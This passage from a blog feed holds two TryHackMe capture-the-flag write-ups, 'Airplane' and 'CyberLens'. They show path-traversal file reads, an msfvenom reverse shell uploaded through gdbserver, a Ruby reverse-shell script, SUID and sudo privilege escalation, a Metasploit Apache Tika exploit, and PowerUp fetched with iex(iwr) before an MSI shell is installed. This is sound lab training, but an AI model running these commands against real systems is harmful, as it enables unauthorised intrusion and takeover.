LC_MONETARY=tr_TR.UTF-8
LC_NAME=tr_TR.UTF-8
LC_NUMERIC=tr_TR.UTF-8
LC_PAPER=tr_TR.UTF-8
LC_TELEPHONE=tr_TR.UTF-8
LC_TIME=tr_TR.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
HOME=/home/hudson
LOGNAME=hudson
USER=hudson
SHELL=/bin/bash
INVOCATION_ID=a7b6db43cf784a56a137cd6d6a5ed120
JOURNAL_STREAM=9:20267
</code></pre></div></div>

<p>It doesn’t run as <code class="language-plaintext highlighter-rouge">www-data</code> but as <code class="language-plaintext highlighter-rouge">hudson</code> - a user</p>

<p>From my enumeration it turns out, that 2 directories above we’ve got <code class="language-plaintext highlighter-rouge">/home/hudson</code></p>

<p>Using this path -<code class="language-plaintext highlighter-rouge">../app.py</code> - I’ve got the source code</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span><span class="p">,</span> <span class="n">send_file</span><span class="p">,</span> <span class="n">redirect</span><span class="p">,</span> <span class="n">render_template</span><span class="p">,</span> <span class="n">request</span>
<span class="kn">import</span> <span class="nn">os.path</span>

<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>


<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">index</span><span class="p">():</span>
    <span class="k">if</span> <span class="s">'page'</span> <span class="ow">in</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">:</span>
        <span class="n">page</span> <span class="o">=</span> <span class="s">'static/'</span> <span class="o">+</span> <span class="n">request</span><span class="p">.</span><span class="n">args</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'page'</span><span class="p">)</span>

        <span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">isfile</span><span class="p">(</span><span class="n">page</span><span class="p">):</span>
            <span class="n">resp</span> <span class="o">=</span> <span class="n">send_file</span><span class="p">(</span><span class="n">page</span><span class="p">)</span>
            <span class="n">resp</span><span class="p">.</span><span class="n">direct_passthrough</span> <span class="o">=</span> <span class="bp">False</span>

            <span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">getsize</span><span class="p">(</span><span class="n">page</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
                <span class="n">resp</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="s">"Content-Length"</span><span class="p">]</span><span class="o">=</span><span class="nb">str</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">resp</span><span class="p">.</span><span class="n">get_data</span><span class="p">()))</span>

            <span class="k">return</span> <span class="n">resp</span>
        
        <span class="k">else</span><span class="p">:</span>
            <span class="k">return</span> <span class="s">"Page not found"</span>

    <span class="k">else</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="s">'http://airplane.thm:8000/?page=index.html'</span><span class="p">,</span> <span class="n">code</span><span class="o">=</span><span class="mi">302</span><span class="p">)</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/airplane'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">airplane</span><span class="p">():</span>
    <span class="k">return</span> <span class="n">render_template</span><span class="p">(</span><span class="s">'airplane.html'</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
    <span class="n">app</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">host</span><span class="o">=</span><span class="s">'0.0.0.0'</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">8000</span><span class="p">)</span>
</code></pre></div></div>

<p>Nothing more interesting, than we already know
With this in mind - let’s try to enumerate service on port <code class="language-plaintext highlighter-rouge">6048</code></p>

<h3 id="6048-enumeration"><code class="language-plaintext highlighter-rouge">6048</code> enumeration</h3>

<p>First I checked for false positive by searching <code class="language-plaintext highlighter-rouge">/proc/dev/tcp</code></p>

<p>With this python script</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># -*- coding: utf-8 -*-
</span><span class="kn">import</span> <span class="nn">re</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">argparse</span>

<span class="n">parser</span> <span class="o">=</span> <span class="n">argparse</span><span class="p">.</span><span class="n">ArgumentParser</span><span class="p">(</span>
                    <span class="n">prog</span><span class="o">=</span><span class="s">'/proc/net/tcp decoder'</span><span class="p">,</span>
                    <span class="n">description</span><span class="o">=</span><span class="s">'Upgraded code from Reboare to transform /proc/net/tcp into human readable format'</span><span class="p">)</span>

<span class="n">parser</span><span class="p">.</span><span class="n">add_argument</span><span class="p">(</span><span class="s">'filename'</span><span class="p">)</span> 
<span class="n">args</span> <span class="o">=</span> <span class="n">parser</span><span class="p">.</span><span class="n">parse_args</span><span class="p">()</span>

<span class="k">def</span> <span class="nf">process_file</span><span class="p">(</span><span class="n">procnet</span><span class="p">):</span>
    <span class="n">sockets</span> <span class="o">=</span> <span class="n">procnet</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)[</span><span class="mi">1</span><span class="p">:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
    <span class="k">return</span> <span class="p">[</span><span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span> <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">sockets</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">split_every_n</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">[</span><span class="n">data</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="n">n</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">),</span> <span class="n">n</span><span class="p">)]</span>

<span class="k">def</span> <span class="nf">convert_linux_netaddr</span><span class="p">(</span><span class="n">address</span><span class="p">):</span>

    <span class="n">hex_addr</span><span class="p">,</span> <span class="n">hex_port</span> <span class="o">=</span> <span class="n">address</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">':'</span><span class="p">)</span>

    <span class="n">addr_list</span> <span class="o">=</span> <span class="n">split_every_n</span><span class="p">(</span><span class="n">hex_addr</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span>
    <span class="n">addr_list</span><span class="p">.</span><span class="n">reverse</span><span class="p">()</span>

    <span class="n">addr</span> <span class="o">=</span> <span class="s">"."</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="nb">map</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="nb">str</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="mi">16</span><span class="p">)),</span> <span class="n">addr_list</span><span class="p">))</span>
    <span class="n">port</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">hex_port</span><span class="p">,</span> <span class="mi">16</span><span class="p">))</span>

    <span class="k">return</span> <span class="s">"{}:{}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">port</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">format_line</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">((</span><span class="s">"%(seq)-4s %(uid)5s %(local)25s %(remote)25s %(timeout)8s %(inode)8s"</span> <span class="o">%</span> <span class="n">data</span><span class="p">)</span> <span class="o">+</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>

<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">filename</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
    <span class="n">sockets</span> <span class="o">=</span> <span class="n">process_file</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">())</span>

<span class="n">columns</span> <span class="o">=</span> <span class="p">(</span><span class="s">"seq"</span><span class="p">,</span> <span class="s">"uid"</span><span class="p">,</span> <span class="s">"inode"</span><span class="p">,</span> <span class="s">"local"</span><span class="p">,</span> <span class="s">"remote"</span><span class="p">,</span> <span class="s">"timeout"</span><span class="p">)</span>
<span class="n">title</span> <span class="o">=</span> <span class="nb">dict</span><span class="p">()</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">columns</span><span class="p">:</span>
    <span class="n">title</span><span class="p">[</span><span class="n">c</span><span class="p">]</span> <span class="o">=</span> <span class="n">c</span>

<span class="n">rv</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">info</span> <span class="ow">in</span> <span class="n">sockets</span><span class="p">:</span>
    <span class="n">_</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">r</span><span class="s">'\s+'</span><span class="p">,</span> <span class="n">info</span><span class="p">)</span>

    <span class="n">_tmp</span> <span class="o">=</span> <span class="p">{</span>
        <span class="s">'seq'</span><span class="p">:</span> <span class="n">_</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span>
        <span class="s">'local'</span><span class="p">:</span> <span class="n">convert_linux_netaddr</span><span class="p">(</span><span class="n">_</span><span class="p">[</span><span class="mi">1</span><span class="p">]),</span>
        <span class="s">'remote'</span><span class="p">:</span> <span class="n">convert_linux_netaddr</span><span class="p">(</span><span class="n">_</span><span class="p">[</span><span class="mi">2</span><span class="p">]),</span>
        <span class="s">'uid'</span><span class="p">:</span> <span class="n">_</span><span class="p">[</span><span class="mi">7</span><span class="p">],</span>
        <span class="s">'timeout'</span><span class="p">:</span> <span class="n">_</span><span class="p">[</span><span class="mi">8</span><span class="p">],</span>
        <span class="s">'inode'</span><span class="p">:</span> <span class="n">_</span><span class="p">[</span><span class="mi">9</span><span class="p">],</span>
    <span class="p">}</span>
    <span class="n">rv</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">_tmp</span><span class="p">)</span>

<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">rv</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
    <span class="n">sys</span><span class="p">.</span><span class="n">stderr</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">format_line</span><span class="p">(</span><span class="n">title</span><span class="p">))</span>

    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="n">rv</span><span class="p">:</span>
        <span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">format_line</span><span class="p">(</span><span class="n">_</span><span class="p">))</span>
</code></pre></div></div>

<p>Which is a modified version of <a href="https://gist.github.com/Reboare/2e0122b993b8557935fd37b27436f8c2">this gist</a> I turned <code class="language-plaintext highlighter-rouge">/proc/net/tcp</code> into more readable form</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python3 tcp-parser.py tcp
seq    uid                     local                    remote  timeout    inode
0:     101             127.0.0.53:53                 0.0.0.0:0        0    14850
1:       0                0.0.0.0:22                 0.0.0.0:0        0    20719
2:       0             127.0.0.1:631                 0.0.0.0:0        0    18221
3:    1001              0.0.0.0:8000                 0.0.0.0:0        0    21672
4:    1001              0.0.0.0:6048                 0.0.0.0:0        0    21568
5:    1001         10.10.92.113:8000          10.9.3.230:59002        0    37011
</code></pre></div></div>

<p>Yup, it’s actually running and it runs as <code class="language-plaintext highlighter-rouge">hudson</code> as well (From <code class="language-plaintext highlighter-rouge">/etc/passwd</code> we know that <code class="language-plaintext highlighter-rouge">hudson</code> has UID <code class="language-plaintext highlighter-rouge">1001</code>)</p>

<p>Now it’s time to brute-force PID and command running the process</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ for i in {1..1000}; do echo -n "\r$i"; out=$(curl -s "http://airplane.thm:8000/?page=../../../../../proc/$i/cmdline" | sed 's/\x00/ /g' | grep -v 'Page not found'); if [ -n "$out" ]; then echo "\r$i : $out"; fi; done
[...]
521 : /usr/sbin/NetworkManager --no-daemon 
522 : /usr/sbin/NetworkManager --no-daemon 
525 : /usr/bin/gdbserver 0.0.0.0:6048 airplane 
529 : /usr/bin/python3 app.py 
532 : /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal 
533 : /usr/sbin/ModemManager
</code></pre></div></div>

<p>It runs <code class="language-plaintext highlighter-rouge">gdbserver</code>. Let’s check <a href="https://book.hacktricks.xyz/network-services-pentesting/pentesting-remote-gdbserver#upload-and-execute">bookhacktricks.xyz</a>
There, I found a nice way to upload a shell</p>

<h3 id="gdbserver-exploitation"><code class="language-plaintext highlighter-rouge">gdbserver</code> exploitation</h3>

<p>First I created msfvenom shell</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=4444 PrependFork=true -f elf -o binary.elf
$ chmod +x binary.elf
</code></pre></div></div>
<p>Then I run GDB</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ gdb binary.elf
</code></pre></div></div>

<p>Inside <code class="language-plaintext highlighter-rouge">gdb</code> shell we set remote target</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>target extended-remote 10.10.92.113:6048
</code></pre></div></div>

<p>Then upload malicious binary to <code class="language-plaintext highlighter-rouge">/tmp</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>remote put binary.elf /tmp/binary.elf
</code></pre></div></div>
<p>Set executable</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set remote exec-file /tmp/binary.elf
</code></pre></div></div>

<p>And netcat listener on your machine</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -lvnp 4444
</code></pre></div></div>

<p>Then, run!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>run
</code></pre></div></div>

<p>We’ve got it! Time to stabilize the shell</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 -c 'import pty;pty.spawn("/bin/bash")'
$
</code></pre></div></div>

<h3 id="privilege-escalation-1---getting-carlos-user">Privilege escalation 1 - getting <code class="language-plaintext highlighter-rouge">carlos</code> user</h3>
<p>After running this command</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ find / -type f -perm -04000 -ls 2&gt;/dev/null
</code></pre></div></div>

<p>We see that we can run <code class="language-plaintext highlighter-rouge">/usr/bin/find</code> as <code class="language-plaintext highlighter-rouge">carlos</code></p>

<p>Quick trip to <a href="https://gtfobins.github.io/gtfobins/find/#suid">GTFOBins</a> gives us</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ /usr/bin/find . -exec /bin/sh -p \; -quit
$ whoami
carlos
</code></pre></div></div>

<p>And we’re <code class="language-plaintext highlighter-rouge">carlos</code> -  get user flag</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat /home/carlos/user.txt
</code></pre></div></div>

<p>I couldn’t really stabilize it with python, so I just uploaded my public ssh key and loged in via SSH</p>

<p>Let’s go for root now!</p>

<h3 id="privilege-escalation-2---gettting-root">Privilege escalation 2 - gettting <code class="language-plaintext highlighter-rouge">root</code></h3>

<p>What will <code class="language-plaintext highlighter-rouge">sudo -l</code> give us?</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo -l
Matching Defaults entries for carlos on airplane:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carlos may run the following commands on airplane:
    (ALL) NOPASSWD: /usr/bin/ruby /root/*.rb
</code></pre></div></div>

<p>We can run anything placed inside <code class="language-plaintext highlighter-rouge">/root</code> folder which has <code class="language-plaintext highlighter-rouge">.rb</code> extentions with <code class="language-plaintext highlighter-rouge">ruby</code></p>

<p>So, how about we utilize Path Traversal once again and get the shell that way</p>

<p>First in <code class="language-plaintext highlighter-rouge">/tmp</code> create a file called <code class="language-plaintext highlighter-rouge">shell.rb</code></p>

<div class="language-rb highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env ruby</span>
<span class="c1"># syscall 33 = dup2 on 64-bit Linux</span>
<span class="c1"># syscall 63 = dup2 on 32-bit Linux</span>
<span class="c1"># test with nc -lvp 1337 </span>

<span class="nb">require</span> <span class="s1">'socket'</span>

<span class="n">s</span> <span class="o">=</span> <span class="no">Socket</span><span class="p">.</span><span class="nf">new</span> <span class="mi">2</span><span class="p">,</span><span class="mi">1</span>
<span class="n">s</span><span class="p">.</span><span class="nf">connect</span> <span class="no">Socket</span><span class="p">.</span><span class="nf">sockaddr_in</span> <span class="mi">1337</span><span class="p">,</span> <span class="s1">'[YOUR IP]'</span>

<span class="p">[</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">].</span><span class="nf">each</span> <span class="p">{</span> <span class="o">|</span><span class="n">fd</span><span class="o">|</span> <span class="nb">syscall</span> <span class="mi">33</span><span class="p">,</span> <span class="n">s</span><span class="p">.</span><span class="nf">fileno</span><span class="p">,</span> <span class="n">fd</span> <span class="p">}</span>
<span class="nb">exec</span> <span class="s1">'/bin/sh -i'</span>
</code></pre></div></div>
<p><a href="https://gist.github.com/gr33n7007h/c8cba38c5a4a59905f62233b36882325">Reverse shell comes from here</a></p>

<p>Of course replace <code class="language-plaintext highlighter-rouge">[Your IP]</code> with actual THM IP</p>

<p>Then, set up a netcat listener on your machine</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -lvnp 1337
</code></pre></div></div>

<p>And execute the shell with using payload that contains <code class="language-plaintext highlighter-rouge">../</code> in it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo /usr/bin/ruby /root/../tmp/shell.rb
</code></pre></div></div>

<p>Netcat we got the shell, we are root!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.9.3.230] from (UNKNOWN) [10.10.242.145] 54412
# whoami
root
</code></pre></div></div>

<p>And that’s it - machine pwned go for the root flag</p>

<h2 id="conclusion">Conclusion</h2>

<p>Oh god, I had to use a writeup to get through initial access part.</p>

<p>While privilege escalation was kind of trivial, obtaining user shell was really challenging</p>

<p>It was the first time, I’ve looked into <code class="language-plaintext highlighter-rouge">/proc</code> dir and enumerated something there - my notes are growing!</p>

<p>I hope you’ve enjoyed it as much as I did, thanks for reading.</p>

<p>Check out <a href="https://wizarddos.github.io/blog">my other blog</a> as I’m planning to post one pretty big article there</p>

<p>And that’s about it, wait for video version of this writeup and see you next time!</p>]]></content><author><name>wizarddos</name></author><category term="tryhackme" /><summary type="html"><![CDATA[Wanna watch a video? Welcome everyone! New machine landed on tryhackme, so of course I had to give it a try It’s called Airplane - I don’t know what to expect but let’s go]]></summary></entry><entry><title type="html">CyberLens writeup (TryHackMe)</title><link href="https://wizarddos.github.io/blog/tryhackme/2024/05/18/cyberlens-writeup.html" rel="alternate" type="text/html" title="CyberLens writeup (TryHackMe)" /><published>2024-05-18T00:00:00+00:00</published><updated>2024-05-18T00:00:00+00:00</updated><id>https://wizarddos.github.io/blog/tryhackme/2024/05/18/cyberlens-writeup</id><content type="html" xml:base="https://wizarddos.github.io/blog/tryhackme/2024/05/18/cyberlens-writeup.html"><![CDATA[<p>(Wanna watch a video version?)</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/-LRlxsA8_7E?si=a_k2oFa32vAi_9U1" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<p>Another day, another challenge. This time is easy one.
I don’t know what to expect. I only know that there will be a webserver</p>

<p>Let’s try it</p>

<p>It comes from <a href="https://tryhackme.com/r/room/cyberlensp6">TryHackMe</a></p>

<!--more-->
<p>First, add IP to <code class="language-plaintext highlighter-rouge">/etc/hosts</code></p>

<p>I’ll also add hostname to the enviromental variable</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ sudo echo 'MACHINE_IP cyberlens.thm' &gt;&gt; /etc/hosts
$ export HOST="cyberlens.thm"
</code></pre></div></div>

<p>Then, it’s time for port scanning</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ rustscan -a $IP -- -sC -sV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
0day was here ♥

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.138.96:80
Open 10.10.138.96:135
Open 10.10.138.96:139
Open 10.10.138.96:445
[~] Starting Script(s)
[&gt;] Running script "nmap -vvv -p   -sC -sV" on ip 10.10.138.96
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.80 ( https://nmap.org ) at 2024-05-18 20:51 UTC
[...]
PORT    STATE SERVICE       REASON  VERSION
80/tcp  open  http          syn-ack Apache httpd 2.4.57 ((Win64))
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.57 (Win64)
|_http-title: CyberLens: Unveiling the Hidden Matrix
135/tcp open  msrpc         syn-ack Microsoft Windows RPC
139/tcp open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds? syn-ack
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 0s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 33916/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 58379/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 23678/udp): CLEAN (Timeout)
|   Check 4 (port 10426/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-05-18T20:51:21
|_  start_date: N/A
</code></pre></div></div>

<p>It looks like windows machine - it’ll be harder for me as I’m not acustomed to it.</p>

<p>I couldn’t get anything from other ports, so let’s get to work on port <code class="language-plaintext highlighter-rouge">80</code></p>

<h3 id="website-enumeration">Website enumeration</h3>

<p>JS on main page unveils another port</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">http://cyberlens.thm:61777/meta</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span>
            <span class="na">method</span><span class="p">:</span> <span class="dl">"</span><span class="s2">PUT</span><span class="dl">"</span><span class="p">,</span>
            <span class="na">body</span><span class="p">:</span> <span class="nx">fileData</span><span class="p">,</span>
            <span class="na">headers</span><span class="p">:</span> <span class="p">{</span>
              <span class="dl">"</span><span class="s2">Accept</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">application/json</span><span class="dl">"</span><span class="p">,</span>
              <span class="dl">"</span><span class="s2">Content-Type</span><span class="dl">"</span><span class="p">:</span> <span class="dl">"</span><span class="s2">application/octet-stream</span><span class="dl">"</span>
            <span class="p">}</span>
          <span class="p">})</span>
</code></pre></div></div>

<p>Scanning it, gives us more info</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nmap -sC -sV $IP -p61777 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-18 23:02 CEST
Nmap scan report for cyberlens.thm (10.10.138.96)
Host is up (0.074s latency).

PORT      STATE SERVICE VERSION
61777/tcp open  http    Jetty 8.y.z-SNAPSHOT
|_http-title: Welcome to the Apache Tika 1.17 Server
|_http-cors: HEAD GET
|_http-server-header: Jetty(8.y.z-SNAPSHOT)
| http-methods: 
|_  Potentially risky methods: PUT
</code></pre></div></div>

<p>It runs Apache Tika - from my research it has an exploit in metasploit.</p>

<p>Launch it</p>

<h3 id="exploiting">Exploiting</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ msfconsole
</code></pre></div></div>

<p>There’s only one module for this service</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf6 &gt; use exploit/windows/http/apache_tika_jp2_jscript
</code></pre></div></div>

<p>We need to change <code class="language-plaintext highlighter-rouge">RHOSTS</code>, <code class="language-plaintext highlighter-rouge">RPORT</code> and <code class="language-plaintext highlighter-rouge">LHOST</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf6 &gt; set RHOSTS MACHINE_IP
msf6 &gt; set RPORT 61777
msf6 &gt; set LHOST YOUR_THM_IP
</code></pre></div></div>

<p>Then, we can run it</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msf6 &gt; exploit
</code></pre></div></div>

<p>Now, I’ve got a meterpreter shell - get user flag</p>

<p>I’ve spawned myself a typical CMD shell</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>meterpreter &gt; shell
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1821]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32&gt;whoami
whoami
C:\Windows\system32&gt;cd C:\Users\cyberlens\Desktop
C:\Users\CyberLens\Desktop&gt;type user.txt
[REDACTED]
</code></pre></div></div>

<p>We’ve got a flag! Time for the hard part</p>

<h3 id="privilege-escalation">Privilege escalation</h3>

<p>Let’s fire up PowerShell</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; powershell
</code></pre></div></div>

<p>Today, <a href="https://github.com/PowerShellEmpire/PowerTools/blob/master/PowerUp/PowerUp.ps1">PowerUp</a> became my best friend</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PS &gt; iex (iwr -usebasicparsing http://Your IP:8000/PowerUp.ps1)
</code></pre></div></div>
<p>And in kali</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ python3 -m http.server 8000
</code></pre></div></div>

<p>Then I run it and</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PS &gt; Invoke-allchecks

[*] Checking %PATH% for potentially hijackable .dll locations...


HijackablePath : C:\Users\CyberLens\AppData\Local\Microsoft\WindowsApps\
AbuseFunction  : Write-HijackDll -OutputFile 'C:\Users\CyberLens\AppData\Local\Microsoft\WindowsApps\\wlbsctrl.dll' 
                 -Command '...'

[*] Checking for AlwaysInstallElevated registry key...


OutputFile    : 
AbuseFunction : Write-UserAddMSI
</code></pre></div></div>

<p>We see that there is a misconfigured registry key, that allows us to install MSI files as Admin.
<a href="https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#powerup">Time to exploit it</a></p>

<p>First, create a payload on kali and set up python http server</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=1337 -f msi &gt; shell.msi
$ python3 -m http.server 80
</code></pre></div></div>
<p>Then on windows I’ve downloaded that shell to Desktop</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; wget http://10.9.3.108/shell.msi -o shell.msi
</code></pre></div></div>

<p>After setting up netcat listener</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc -lvnp 1337
</code></pre></div></div>

<p>I’ve executed malicious msi</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; msiexec /quiet /qn /i shell.msi
</code></pre></div></div>

<p>And boom, we have shell. Let’s grab the flag</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; type C:\Users\Administrator\Desktop\root.txt
[REDACTED]
</code></pre></div></div>
<p>And that’s it. Machine pwned</p>

<h2 id="conclusion">Conclusion</h2>

<p>I don’t have too much experience with windows machines. While initial access was fairly easy, privesc was a little nightmare</p>

<p>I think I’ve spent like 3H on this box. Still kinda fun</p>

<p>I’ve discovered a new service, practices my metasploit usage and made learned windows privilege escalation method.</p>

<p>I really need to get things sorted out in windows privesc. I suck at it, not gonna lie.</p>

